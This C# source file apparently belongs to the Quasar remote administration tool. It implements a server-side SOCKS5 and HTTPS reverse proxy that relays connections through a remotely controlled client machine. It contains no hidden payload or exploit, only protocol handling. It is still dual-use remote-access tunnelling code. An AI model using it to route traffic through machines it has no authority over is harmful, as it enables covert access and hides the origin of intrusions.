using Quasar.Common.Messages.ReverseProxy;
using Quasar.Server.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Text;
namespace Quasar.Server.ReverseProxy
{
public class ReverseProxyClient
{
public enum ProxyType
{
Unknown,
SOCKS5,
HTTPS
};
public const int SOCKS5_DEFAULT_PORT = 3218;
public const byte SOCKS5_VERSION_NUMBER = 5;
public const byte SOCKS5_RESERVED = 0x00;
public const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2;
public const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0x00;
public const byte SOCKS5_AUTH_METHOD_GSSAPI = 0x01;
public const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 0x02;
public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 0x03;
public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 0x7f;
public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 0x80;
public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 0xfe;
public const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 0xff;
public const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0x00;
public const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 0x01;
public const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 0x02;
public const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 0x03;
public const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 0x04;
public const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 0x05;
public const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 0x06;
public const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 0x07;
public const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 0x08;
public const byte SOCKS5_ADDRTYPE_IPV4 = 0x01;
public const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 0x03;
public const byte SOCKS5_ADDRTYPE_IPV6 = 0x04;
//Make it higher for more performance if really required... probably not
//Making this number higher will aswell increase ram usage depending on the amount of connections (BUFFER_SIZE x Connections = ~Ram Usage)
public const int BUFFER_SIZE = 8192;
public Socket Handle { get; private set; }
public Client Client { get; private set; }
private bool _receivedConnResponse = false;
//Is used for the handshake, Non-Blocking
private MemoryStream _handshakeStream;
public long PacketsReceived { get; private set; }
public long PacketsSended { get; private set; }
public long LengthReceived { get; private set; }
public long LengthSent { get; private set; }
private byte[] _buffer;
public int ConnectionId
{
get { return Handle.Handle.ToInt32(); }
}
public string TargetServer { get; private set; }
public ushort TargetPort { get; private set; }
public bool IsConnected { get; private set; }
private bool _isBindCommand;
private bool _isUdpCommand;
private bool _isConnectCommand;
private bool _isIpType;
private bool _isIPv6NameType;
private bool _isDomainNameType;
private bool _disconnectIsSend;
public ProxyType Type { get; private set; }
private ReverseProxyServer Server;
public string HostName { get; private set; }
public bool ProxySuccessful { get; private set; }
public ReverseProxyClient(Client client, Socket socket, ReverseProxyServer server)
{
this.Handle = socket;
this.Client = client;
this._handshakeStream = new MemoryStream();
this._buffer = new byte[BUFFER_SIZE];
this.IsConnected = true;
this.TargetServer = "";
this.Type = ProxyType.Unknown;
this.Server = server;
try
{
socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
}
catch
{
Disconnect();
}
}
private void AsyncReceive(IAsyncResult ar)
{
try
{
int received = Handle.EndReceive(ar);
if (received <= 0)
{
Disconnect();
return;
}
if (received > 5000 || _handshakeStream.Length + received > 5000)
{
//attack prevention of overflowing the HandshakeStream
//It's really impossible for Socks or HTTPS proxies to use even 5000 for Initial Packets
Disconnect();
return;
}
LengthReceived += received;
_handshakeStream.Write(_buffer, 0, received);
}
catch
{
Disconnect();
return;
}
byte[] payload = _handshakeStream.ToArray();
switch (PacketsReceived)
{
case 0:
{
//initial Socks packet
if (payload.Length >= 3)
{
string headerStr = Encoding.ASCII.GetString(payload);
//check the proxy client
if (payload[0] == SOCKS5_VERSION_NUMBER)
{
Type = ProxyType.SOCKS5;
}
else if (headerStr.StartsWith("CONNECT") && headerStr.Contains(":"))
{
Type = ProxyType.HTTPS;
//Grab here the IP / PORT
using (StreamReader sr = new StreamReader(new MemoryStream(payload)))
{
string line = sr.ReadLine();
if (line == null)
break;
//could have done it better with RegEx... oh well
string[] split = line.Split(new string[] {" "}, StringSplitOptions.RemoveEmptyEntries);
if (split.Length > 0)
{
try
{
string ipPort = split[1];
this.TargetServer = ipPort.Split(':')[0];
this.TargetPort = ushort.Parse(ipPort.Split(':')[1]);
this._isConnectCommand = true;
this._isDomainNameType = true;
//Send Command to client and wait for response from CommandHandler
Client.Send(new ReverseProxyConnect
{
ConnectionId = ConnectionId,
Target = TargetServer,
Port = TargetPort
});
Server.CallonConnectionEstablished(this);
return; //Quit receiving and wait for client's response
}
catch
{
Disconnect();
}
}
}
}
else
{
break;
}
if (CheckProxyVersion(payload))
{
SendSuccessToClient();
PacketsReceived++;
_handshakeStream.SetLength(0);
Server.CallonConnectionEstablished(this);
}
}
break;
}
case 1:
{
//Socks command
int MinPacketLen = 6;
if (payload.Length >= MinPacketLen)
{
if (!CheckProxyVersion(payload))
return;
this._isConnectCommand = payload[1] == 1;
this._isBindCommand = payload[1] == 2;
this._isUdpCommand = payload[1] == 3;
this._isIpType = payload[3] == 1;
this._isDomainNameType = payload[3] == 3;
this._isIPv6NameType = payload[3] == 4;
Array.Reverse(payload, payload.Length - 2, 2);
this.TargetPort = BitConverter.ToUInt16(payload, payload.Length - 2);
if (_isConnectCommand)
{
if (_isIpType)
{
this.TargetServer = payload[4] + "." + payload[5] + "." + payload[6] + "." + payload[7];
}
else if (_isDomainNameType)
{
int domainLen = payload[4];
if (MinPacketLen + domainLen < payload.Length)
{
this.TargetServer = Encoding.ASCII.GetString(payload, 5, domainLen);
}
}
if (this.TargetServer.Length > 0)
{
//Send Command to client and wait for response from CommandHandler
Client.Send(new ReverseProxyConnect
{
ConnectionId = ConnectionId,
Target = TargetServer,
Port = TargetPort
});
}
}
else
{
SendFailToClient();
return;
}
Server.CallonUpdateConnection(this);
//Quit receiving data and wait for Client's response
return;
}
break;
}
}
try
{
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null);
}
catch
{
Disconnect();
}
}
public void Disconnect()
{
if (!_disconnectIsSend)
{
_disconnectIsSend = true;
//send to the Server we've been disconnected
Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId});
}
try
{
Handle.Close();
}
catch
{
}
IsConnected = false;
Server.CallonUpdateConnection(this);
}
///
/// Server -> ProxyClient
///
///
public void SendToClient(byte[] payload)
{
lock (Handle)
{
try
{
LengthSent += payload.Length;
Handle.Send(payload);
}
catch
{
Disconnect();
}
}
Server.CallonUpdateConnection(this);
}
private void SendFailToClient()
{
if (Type == ProxyType.HTTPS)
Disconnect();
if (Type == ProxyType.SOCKS5)
{
SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS});
Disconnect();
}
}
private void SendSuccessToClient()
{
if (Type == ProxyType.SOCKS5)
SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_CMD_REPLY_SUCCEEDED});
}
private bool CheckProxyVersion(byte[] payload)
{
if (Type == ProxyType.HTTPS)
return true; //unable to check header... there is no header
if (payload.Length > 0 && payload[0] != SOCKS5_VERSION_NUMBER)
{
SendFailToClient();
Disconnect();
return false;
}
return true;
}
public void HandleCommandResponse(ReverseProxyConnectResponse response)
{
//a small prevention for calling this method twice, not required... just incase
if (!_receivedConnResponse)
{
_receivedConnResponse = true;
if (response.IsConnected)
{
this.HostName = response.HostName;
//tell the Proxy Client that we've established a connection
if (Type == ProxyType.HTTPS)
{
SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n"));
}
else if (Type == ProxyType.SOCKS5)
{
//Thanks to http://www.mentalis.org/soft/projects/proxy/ for the Maths
try
{
List responsePacket = new List();
responsePacket.Add(SOCKS5_VERSION_NUMBER);
responsePacket.Add(SOCKS5_CMD_REPLY_SUCCEEDED);
responsePacket.Add(SOCKS5_RESERVED);
responsePacket.Add(1);
responsePacket.AddRange(response.LocalAddress);
responsePacket.Add((byte)(Math.Floor((decimal)response.LocalPort / 256)));
responsePacket.Add((byte)(response.LocalPort % 256));
SendToClient(responsePacket.ToArray());
}
catch
{
//just incase the math failed
//it will still show it's succesful
SendToClient(new byte[]
{
SOCKS5_VERSION_NUMBER,
SOCKS5_CMD_REPLY_SUCCEEDED,
SOCKS5_RESERVED,
1, //static: it's always 1
0, 0, 0, 0, //bind ip
0, 0 //bind port
});
}
}
_handshakeStream.Close();
ProxySuccessful = true;
try
{
//start receiving data from the proxy
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null);
}
catch
{
Disconnect();
}
}
else
{
if (Type == ProxyType.HTTPS)
{
Disconnect();
}
else if (Type == ProxyType.SOCKS5)
{
//send a connection fail packet
SendToClient(new byte[]
{
SOCKS5_VERSION_NUMBER,
SOCKS5_CMD_REPLY_CONNECTION_REFUSED,
SOCKS5_RESERVED,
1, //static: it's always 1
0, 0, 0, 0, //Bind Address
0, 0 //Bind Port
});
}
}
Server.CallonUpdateConnection(this);
}
}
private void AsyncReceiveProxy(IAsyncResult ar)
{
try
{
int received = Handle.EndReceive(ar);
if (received <= 0)
{
Disconnect();
return;
}
LengthReceived += received;
byte[] payload = new byte[received];
Array.Copy(_buffer, payload, received);
Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload});
LengthSent += payload.Length;
PacketsSended++;
}
catch
{
Disconnect();
return;
}
PacketsReceived++;
Server.CallonUpdateConnection(this);
try
{
Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceiveProxy, null);
}
catch
{
}
}
}
}